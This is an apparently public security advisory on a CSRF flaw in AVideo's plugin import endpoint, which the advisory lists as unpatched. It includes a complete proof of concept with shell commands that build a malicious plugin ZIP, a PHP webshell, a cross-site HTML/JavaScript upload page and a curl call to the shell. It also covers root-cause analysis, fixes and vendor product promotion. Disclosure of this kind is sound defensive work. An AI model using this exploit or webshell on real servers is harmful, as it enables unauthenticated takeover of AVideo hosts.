GHSA-hv36-p4w4-6vmj
HIGHAVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/include_config.php:134-137):
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
The endpoint only checks User::isAdmin() via the session. There is:
- No CSRF token validation (the
verifyToken/globalTokenmechanism used elsewhere is absent) - No
allowOrigin()call (contrast withobjects/videoAddNew.json.phpwhich callsallowOrigin()at line 8) - No
RefererorOriginheader validation - No requirement for custom headers (e.g.,
X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
public function getTags() { return array(); }
public function getDescription() { return "test"; }
public function getName() { return "EvilPlugin"; }
public function getUUID() { return "evil-0000-0000-0000"; }
public function getPluginVersion() { return "1.0"; }
public function getEmptyDataObject() { return new stdClass(); }
}
PLUG
# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL
zip -r evil-plugin.zip EvilPlugin/
Step 2: Host the CSRF exploit page
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
const zipResp = await fetch('evil-plugin.zip');
const zipBlob = await zipResp.blob();
const formData = new FormData();
formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
method: 'POST',
body: formData,
mode: 'no-cors',
credentials: 'include'
});
}
exploit();
</script>
</body>
</html>
Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
- Full server compromise: The webshell runs as the web server user (
www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control.
- Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The
no-corsmode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
// Add CSRF protection
allowOrigin();
// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
$obj->msg = "Invalid CSRF token";
die(json_encode($obj));
}
2. Update the upload form in view/managerPluginUpload.php to include the token:
<form enctype="multipart/form-data">
<input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
<input id="input-b1" name="input-b1" type="file" class="">
</form>
And pass it in the JavaScript upload config:
$('#input-b1').fileinput({
uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
// ...
});
3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-hv36-p4w4-6vmj yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hv36-p4w4-6vmj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hv36-p4w4-6vmj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hv36-p4w4-6vmj in your dependencies?
O3 detects GHSA-hv36-p4w4-6vmj across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.